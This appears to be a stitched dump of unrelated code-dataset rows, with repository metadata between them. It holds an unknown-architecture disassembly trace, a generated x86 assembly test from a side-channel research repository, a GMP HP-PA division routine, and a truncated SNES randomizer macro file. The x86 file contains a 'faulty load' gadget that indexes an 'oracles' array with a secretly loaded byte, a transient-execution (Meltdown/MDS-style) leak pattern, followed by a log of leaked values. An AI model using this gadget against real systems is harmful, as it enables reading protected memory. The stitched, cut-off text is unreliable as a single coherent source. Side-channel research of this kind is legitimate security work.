0x013E (0x00027C) 0x167F- f:00013 d: 127 | A = A - 127 (0x007F)
0x013F (0x00027E) 0x1300- f:00011 d: 256 | A = A & 256 (0x0100)
0x0140 (0x000280) 0x2908- f:00024 d: 264 | OR[264] = A
0x0141 (0x000282) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0142 (0x000284) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0143 (0x000286) 0x8402- f:00102 d: 2 | P = P + 2 (0x0145), A = 0
0x0144 (0x000288) 0x7008- f:00070 d: 8 | P = P + 8 (0x014C)
0x0145 (0x00028A) 0x2129- f:00020 d: 297 | A = OR[297]
0x0146 (0x00028C) 0x291D- f:00024 d: 285 | OR[285] = A
0x0147 (0x00028E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0148 (0x000290) 0x2927- f:00024 d: 295 | OR[295] = A
0x0149 (0x000292) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x014A (0x000294) 0x292E- f:00024 d: 302 | OR[302] = A
0x014B (0x000296) 0x7008- f:00070 d: 8 | P = P + 8 (0x0153)
0x014C (0x000298) 0x211D- f:00020 d: 285 | A = OR[285]
0x014D (0x00029A) 0x161F- f:00013 d: 31 | A = A - 31 (0x001F)
0x014E (0x00029C) 0x2927- f:00024 d: 295 | OR[295] = A
0x014F (0x00029E) 0x1020- f:00010 d: 32 | A = 32 (0x0020)
0x0150 (0x0002A0) 0x291D- f:00024 d: 285 | OR[285] = A
0x0151 (0x0002A2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0152 (0x0002A4) 0x292E- f:00024 d: 302 | OR[302] = A
0x0153 (0x0002A6) 0x7009- f:00070 d: 9 | P = P + 9 (0x015C)
0x0154 (0x0002A8) 0x211D- f:00020 d: 285 | A = OR[285]
0x0155 (0x0002AA) 0x161B- f:00013 d: 27 | A = A - 27 (0x001B)
0x0156 (0x0002AC) 0x8402- f:00102 d: 2 | P = P + 2 (0x0158), A = 0
0x0157 (0x0002AE) 0x7005- f:00070 d: 5 | P = P + 5 (0x015C)
0x0158 (0x0002B0) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0159 (0x0002B2) 0x292E- f:00024 d: 302 | OR[302] = A
0x015A (0x0002B4) 0x1020- f:00010 d: 32 | A = 32 (0x0020)
0x015B (0x0002B6) 0x291D- f:00024 d: 285 | OR[285] = A
0x015C (0x0002B8) 0x2127- f:00020 d: 295 | A = OR[295]
0x015D (0x0002BA) 0x8402- f:00102 d: 2 | P = P + 2 (0x015F), A = 0
0x015E (0x0002BC) 0x2F27- f:00027 d: 295 | OR[295] = OR[295] - 1
0x015F (0x0002BE) 0x101F- f:00010 d: 31 | A = 31 (0x001F)
0x0160 (0x0002C0) 0x271D- f:00023 d: 285 | A = A - OR[285]
0x0161 (0x0002C2) 0x1300- f:00011 d: 256 | A = A & 256 (0x0100)
0x0162 (0x0002C4) 0x2908- f:00024 d: 264 | OR[264] = A
0x0163 (0x0002C6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0164 (0x0002C8) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0165 (0x0002CA) 0x8409- f:00102 d: 9 | P = P + 9 (0x016E), A = 0
0x0166 (0x0002CC) 0x211D- f:00020 d: 285 | A = OR[285]
0x0167 (0x0002CE) 0x1680- f:00013 d: 128 | A = A - 128 (0x0080)
0x0168 (0x0002D0) 0x1300- f:00011 d: 256 | A = A & 256 (0x0100)
0x0169 (0x0002D2) 0x2908- f:00024 d: 264 | OR[264] = A
0x016A (0x0002D4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x016B (0x0002D6) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x016C (0x0002D8) 0x8402- f:00102 d: 2 | P = P + 2 (0x016E), A = 0
0x016D (0x0002DA) 0x7003- f:00070 d: 3 | P = P + 3 (0x0170)
0x016E (0x0002DC) 0x2129- f:00020 d: 297 | A = OR[297]
0x016F (0x0002DE) 0x291D- f:00024 d: 285 | OR[285] = A
0x0170 (0x0002E0) 0x2128- f:00020 d: 296 | A = OR[296]
0x0171 (0x0002E2) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0172 (0x0002E4) 0x2531- f:00022 d: 305 | A = A + OR[305]
0x0173 (0x0002E6) 0x290D- f:00024 d: 269 | OR[269] = A
0x0174 (0x0002E8) 0x2128- f:00020 d: 296 | A = OR[296]
0x0175 (0x0002EA) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0176 (0x0002EC) 0x2908- f:00024 d: 264 | OR[264] = A
0x0177 (0x0002EE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0178 (0x0002F0) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0179 (0x0002F2) 0x8402- f:00102 d: 2 | P = P + 2 (0x017B), A = 0
0x017A (0x0002F4) 0x7005- f:00070 d: 5 | P = P + 5 (0x017F)
0x017B (0x0002F6) 0x211D- f:00020 d: 285 | A = OR[285]
0x017C (0x0002F8) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008)
0x017D (0x0002FA) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x017E (0x0002FC) 0x7006- f:00070 d: 6 | P = P + 6 (0x0184)
0x017F (0x0002FE) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0180 (0x000300) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0182 (0x000304) 0x251D- f:00022 d: 285 | A = A + OR[285]
0x0183 (0x000306) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x0184 (0x000308) 0x2D28- f:00026 d: 296 | OR[296] = OR[296] + 1
0x0185 (0x00030A) 0x2122- f:00020 d: 290 | A = OR[290]
0x0186 (0x00030C) 0x2728- f:00023 d: 296 | A = A - OR[296]
0x0187 (0x00030E) 0x8002- f:00100 d: 2 | P = P + 2 (0x0189), C = 0
0x0188 (0x000310) 0x700B- f:00070 d: 11 | P = P + 11 (0x0193)
0x0189 (0x000312) 0x1005- f:00010 d: 5 | A = 5 (0x0005)
0x018A (0x000314) 0x292A- f:00024 d: 298 | OR[298] = A
0x018B (0x000316) 0x212F- f:00020 d: 303 | A = OR[303]
0x018C (0x000318) 0x840A- f:00102 d: 10 | P = P + 10 (0x0196), A = 0
0x018D (0x00031A) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x018E (0x00031C) 0x2930- f:00024 d: 304 | OR[304] = A
0x018F (0x00031E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0190 (0x000320) 0x2927- f:00024 d: 295 | OR[295] = A
0x0191 (0x000322) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0192 (0x000324) 0x292E- f:00024 d: 302 | OR[302] = A
0x0193 (0x000326) 0x7344- f:00071 d: 324 | P = P - 324 (0x004F)
0x0194 (0x000328) 0x1006- f:00010 d: 6 | A = 6 (0x0006)
0x0195 (0x00032A) 0x292A- f:00024 d: 298 | OR[298] = A
0x0196 (0x00032C) 0x2118- f:00020 d: 280 | A = OR[280]
0x0197 (0x00032E) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0198 (0x000330) 0x2908- f:00024 d: 264 | OR[264] = A
0x0199 (0x000332) 0x2128- f:00020 d: 296 | A = OR[296]
0x019A (0x000334) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x019B (0x000336) 0x2118- f:00020 d: 280 | A = OR[280]
0x019C (0x000338) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x019D (0x00033A) 0x2908- f:00024 d: 264 | OR[264] = A
0x019E (0x00033C) 0x212A- f:00020 d: 298 | A = OR[298]
0x019F (0x00033E) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01A0 (0x000340) 0x212E- f:00020 d: 302 | A = OR[302]
0x01A1 (0x000342) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x01A2 (0x000344) 0x292E- f:00024 d: 302 | OR[302] = A
0x01A3 (0x000346) 0x2118- f:00020 d: 280 | A = OR[280]
0x01A4 (0x000348) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x01A5 (0x00034A) 0x2908- f:00024 d: 264 | OR[264] = A
0x01A6 (0x00034C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01A7 (0x00034E) 0x0E03- f:00007 d: 3 | A = A << 3 (0x0003)
0x01A8 (0x000350) 0x0A03- f:00005 d: 3 | A = A < 3 (0x0003)
0x01A9 (0x000352) 0x252E- f:00022 d: 302 | A = A + OR[302]
0x01AA (0x000354) 0x0C06- f:00006 d: 6 | A = A >> 6 (0x0006)
0x01AB (0x000356) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01AC (0x000358) 0x2130- f:00020 d: 304 | A = OR[304]
0x01AD (0x00035A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x01AE (0x00035C) 0x2930- f:00024 d: 304 | OR[304] = A
0x01AF (0x00035E) 0x2118- f:00020 d: 280 | A = OR[280]
0x01B0 (0x000360) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x01B1 (0x000362) 0x2908- f:00024 d: 264 | OR[264] = A
0x01B2 (0x000364) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01B3 (0x000366) 0x0E02- f:00007 d: 2 | A = A << 2 (0x0002)
0x01B4 (0x000368) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x01B5 (0x00036A) 0x2530- f:00022 d: 304 | A = A + OR[304]
0x01B6 (0x00036C) 0x0C03- f:00006 d: 3 | A = A >> 3 (0x0003)
0x01B7 (0x00036E) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01B8 (0x000370) 0x2118- f:00020 d: 280 | A = OR[280]
0x01B9 (0x000372) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009)
0x01BA (0x000374) 0x2908- f:00024 d: 264 | OR[264] = A
0x01BB (0x000376) 0x2125- f:00020 d: 293 | A = OR[293]
0x01BC (0x000378) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01BD (0x00037A) 0x2118- f:00020 d: 280 | A = OR[280]
0x01BE (0x00037C) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x01BF (0x00037E) 0x2908- f:00024 d: 264 | OR[264] = A
0x01C0 (0x000380) 0x211C- f:00020 d: 284 | A = OR[284]
0x01C1 (0x000382) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01C2 (0x000384) 0x2118- f:00020 d: 280 | A = OR[280]
0x01C3 (0x000386) 0x140C- f:00012 d: 12 | A = A + 12 (0x000C)
0x01C4 (0x000388) 0x2908- f:00024 d: 264 | OR[264] = A
0x01C5 (0x00038A) 0x212C- f:00020 d: 300 | A = OR[300]
0x01C6 (0x00038C) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01C7 (0x00038E) 0x2118- f:00020 d: 280 | A = OR[280]
0x01C8 (0x000390) 0x1412- f:00012 d: 18 | A = A + 18 (0x0012)
0x01C9 (0x000392) 0x2908- f:00024 d: 264 | OR[264] = A
0x01CA (0x000394) 0x2127- f:00020 d: 295 | A = OR[295]
0x01CB (0x000396) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01CC (0x000398) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x01CD (0x00039A) 0x2934- f:00024 d: 308 | OR[308] = A
0x01CE (0x00039C) 0x1134- f:00010 d: 308 | A = 308 (0x0134)
0x01CF (0x00039E) 0x5800- f:00054 d: 0 | B = A
0x01D0 (0x0003A0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01D1 (0x0003A2) 0x7C09- f:00076 d: 9 | R = OR[9]
0x01D2 (0x0003A4) 0x0000- f:00000 d: 0 | PASS
0x01D3 (0x0003A6) 0x0000- f:00000 d: 0 | PASS
| 79.828326 | 79 | 0.462339 |
490d32080ced3970343c4e7e3fa0c7cc1dec9015 | 9,626 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_3027.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_3027.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_3027.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x794f, %rsi
lea addresses_WT_ht+0x1998b, %rdi
nop
nop
nop
nop
and %rbx, %rbx
mov $8, %rcx
rep movsw
nop
nop
nop
nop
cmp $9109, %r10
lea addresses_WT_ht+0x15888, %r11
nop
nop
nop
nop
xor $22515, %rsi
movw $0x6162, (%r11)
nop
nop
nop
add $18299, %rdi
lea addresses_UC_ht+0x2b6f, %r10
nop
nop
nop
nop
and %rax, %rax
mov $0x6162636465666768, %r11
movq %r11, (%r10)
nop
and $4576, %rbx
lea addresses_WC_ht+0xff6f, %rsi
lea addresses_A_ht+0xe2ef, %rdi
xor %r15, %r15
mov $45, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rax, %rax
lea addresses_normal_ht+0x1e06f, %r11
nop
nop
nop
sub %r15, %r15
mov (%r11), %ax
nop
nop
nop
and $13788, %r11
lea addresses_WC_ht+0x653f, %rsi
lea addresses_WC_ht+0x16def, %rdi
nop
nop
and %rbx, %rbx
mov $38, %rcx
rep movsw
nop
nop
nop
add %rbx, %rbx
lea addresses_normal_ht+0x2d4b, %rsi
inc %r15
mov $0x6162636465666768, %rdi
movq %rdi, (%rsi)
nop
nop
add %r15, %r15
lea addresses_WT_ht+0x42ef, %rcx
clflush (%rcx)
nop
nop
nop
and %r15, %r15
movb $0x61, (%rcx)
nop
nop
xor $58575, %rdi
lea addresses_D_ht+0x149ef, %r15
nop
nop
add %rcx, %rcx
movb $0x61, (%r15)
nop
nop
nop
sub $28065, %rax
lea addresses_normal_ht+0xadef, %rcx
nop
nop
nop
nop
nop
xor %r15, %r15
vmovups (%rcx), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %r10
nop
nop
nop
lfence
lea addresses_UC_ht+0x1366f, %rsi
lea addresses_WC_ht+0x1b7ef, %rdi
nop
nop
nop
add %rax, %rax
mov $117, %rcx
rep movsb
nop
nop
nop
xor %r10, %r10
lea addresses_UC_ht+0x1a867, %r10
nop
nop
sub %rdi, %rdi
movw $0x6162, (%r10)
nop
nop
nop
cmp $49966, %rax
lea addresses_UC_ht+0x15ef, %rsi
lea addresses_D_ht+0xf0ef, %rdi
nop
nop
nop
nop
and $15075, %r15
mov $33, %rcx
rep movsb
and %rcx, %rcx
lea addresses_WC_ht+0xb78f, %rbx
nop
nop
add %r15, %r15
mov (%rbx), %rax
add %rax, %rax
lea addresses_WC_ht+0x1af13, %r11
nop
cmp %rax, %rax
and $0xffffffffffffffc0, %r11
movaps (%r11), %xmm0
vpextrq $0, %xmm0, %rsi
nop
nop
nop
nop
xor $60612, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r8
push %rbp
push %rbx
push %rdx
// Store
lea addresses_RW+0xcc7b, %rbp
nop
add %rbx, %rbx
mov $0x5152535455565758, %rdx
movq %rdx, %xmm7
vmovups %ymm7, (%rbp)
nop
nop
nop
sub $31294, %r14
// Store
lea addresses_RW+0xf9ef, %r12
nop
nop
nop
nop
sub %r13, %r13
mov $0x5152535455565758, %r8
movq %r8, (%r12)
nop
nop
inc %rbp
// Store
lea addresses_US+0x6d6f, %r14
and %r8, %r8
mov $0x5152535455565758, %rbp
movq %rbp, (%r14)
nop
nop
nop
add $4228, %r13
// Store
lea addresses_RW+0x141ef, %rdx
inc %r14
movw $0x5152, (%rdx)
nop
inc %rbx
// Store
lea addresses_RW+0xf9ef, %rdx
sub $49103, %rbp
mov $0x5152535455565758, %r13
movq %r13, %xmm6
vmovups %ymm6, (%rdx)
nop
nop
nop
xor %rbp, %rbp
// Store
lea addresses_RW+0x1b1ef, %r12
nop
nop
sub $929, %r8
mov $0x5152535455565758, %rbp
movq %rbp, %xmm0
movaps %xmm0, (%r12)
nop
nop
nop
nop
add $64452, %r12
// Store
lea addresses_US+0x368f, %r12
clflush (%r12)
nop
nop
nop
nop
nop
xor %r14, %r14
movw $0x5152, (%r12)
nop
nop
nop
sub %rbp, %rbp
// Faulty Load
lea addresses_RW+0xf9ef, %r8
nop
nop
nop
nop
nop
sub %r12, %r12
mov (%r8), %bx
lea oracles, %r13
and $0xff, %rbx
shlq $12, %rbx
mov (%r13,%rbx,1), %rbx
pop %rdx
pop %rbx
pop %rbp
pop %r8
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_US', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_US', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': True}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'same': True, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC_ht', 'same': True, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 29.89441 | 2,999 | 0.653335 |
626ecd202b01406c17ebf9aea2d962fef476f4fe | 2,742 | asm | Assembly | libtool/src/gmp-6.1.2/mpn/pa32/hppa1_1/udiv.asm | kroggen/aergo | 05af317eaa1b62b21dc0144ef74a9e7acb14fb87 | [
"MIT"
] | 1,602 | 2015-01-06T11:26:31.000Z | 2022-03-30T06:17:21.000Z | libtool/src/gmp-6.1.2/mpn/pa32/hppa1_1/udiv.asm | kroggen/aergo | 05af317eaa1b62b21dc0144ef74a9e7acb14fb87 | [
"MIT"
] | 11,789 | 2015-01-05T04:50:15.000Z | 2022-03-31T23:39:19.000Z | libtool/src/gmp-6.1.2/mpn/pa32/hppa1_1/udiv.asm | kroggen/aergo | 05af317eaa1b62b21dc0144ef74a9e7acb14fb87 | [
"MIT"
] | 498 | 2015-01-08T18:58:18.000Z | 2022-03-20T15:37:45.000Z | dnl HP-PA __udiv_qrnnd division support, used from longlong.h.
dnl This version runs fast on PA 7000 and later.
dnl Copyright 1993, 1994, 2000, 2001, 2003 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C INPUT PARAMETERS
C rem_ptr gr26
C n1 gr25
C n0 gr24
C d gr23
C This file has caused a lot of trouble, since it demands PIC reference to
C static data, which triggers bugs in gas (at least version 2.7 through
C 2.11.2). When the bug is triggered, many bogus relocs are generated. The
C current solution is to stuff data right into the code, and refer it using
C absolute offsets. Fragile to be sure, but nothing else seems to work.
ASM_START()
ifdef(`PIC',`',
` RODATA
INT64(0000, 0x43f00000, 0x0) C 2^64
')
PROLOGUE(mpn_udiv_qrnnd)
C .callinfo frame=64,no_calls
ldo 64(%r30),%r30
stws %r25,-16(0,%r30) C n_hi
stws %r24,-12(0,%r30) C n_lo
ifdef(`PIC',
` bl .+20,%r31
dep %r0,31,2,%r31
.word 0x0 C padding for alignment
.word 0x43f00000, 0x0 C 2^64
ldo 4(%r31),%r31',
` ldil `L'%L(0000),%r31
ldo R%L(0000)(%r31),%r31')
fldds -16(0,%r30),%fr5
stws %r23,-12(0,%r30)
comib,<= 0,%r25,L(1)
fcnvxf,dbl,dbl %fr5,%fr5
fldds 0(0,%r31),%fr4
fadd,dbl %fr4,%fr5,%fr5
LDEF(1)
fcpy,sgl %fr0,%fr6L
fldws -12(0,%r30),%fr6R
fcnvxf,dbl,dbl %fr6,%fr4
fdiv,dbl %fr5,%fr4,%fr5
fcnvfx,dbl,dbl %fr5,%fr4
fstws %fr4R,-16(%r30)
xmpyu %fr4R,%fr6R,%fr6
ldws -16(%r30),%r28
fstds %fr6,-16(0,%r30)
ldws -12(0,%r30),%r21
ldws -16(0,%r30),%r20
sub %r24,%r21,%r22
subb %r25,%r20,%r20
comib,= 0,%r20,L(2)
ldo -64(%r30),%r30
add %r22,%r23,%r22
ldo -1(%r28),%r28
LDEF(2)
bv 0(%r2)
stws %r22,0(0,%r26)
EPILOGUE(mpn_udiv_qrnnd)
| 26.621359 | 79 | 0.697301 |
7a6f538bec85a65a6ea5ccc5804124c8772dbcd8 | 2,260 | asm | Assembly | newitems/macros/multisizeops.asm | fcard/z3randomizer | f2d0c2e58512e9c4c7f37996b52f6a0dc828f3ec | [
"MIT"
] | null | null | null | newitems/macros/multisizeops.asm | fcard/z3randomizer | f2d0c2e58512e9c4c7f37996b52f6a0dc828f3ec | [
"MIT"
] | null | null | null | newitems/macros/multisizeops.asm | fcard/z3randomizer | f2d0c2e58512e9c4c7f37996b52f6a0dc828f3ec | [
"MIT"
] | null | null | null | ; Macros that allow a address to be changed easily between a long address
; and a word/zero page address. Instead of using
; STZ !MyAddress
; We can use
; %M_STZ(!MyAddress,1)
; And it will work regardless of the size of !MyAddress.
;
; Whenever the macro takes a second argument, it's "preserveA", or if the macro
; should preserve the value in the A register from before the operation.
macro M_STZ(address, preserveA)
if <address> > $FFFF
if preserveA != 0
PHA : LDA #$00 : STA <address> : PLA
else
LDA #$00 : STA <address>
endif
else
STZ <address>
endif
endmacro
macro M_INC(address, preserveA)
if <address> > $FFFF
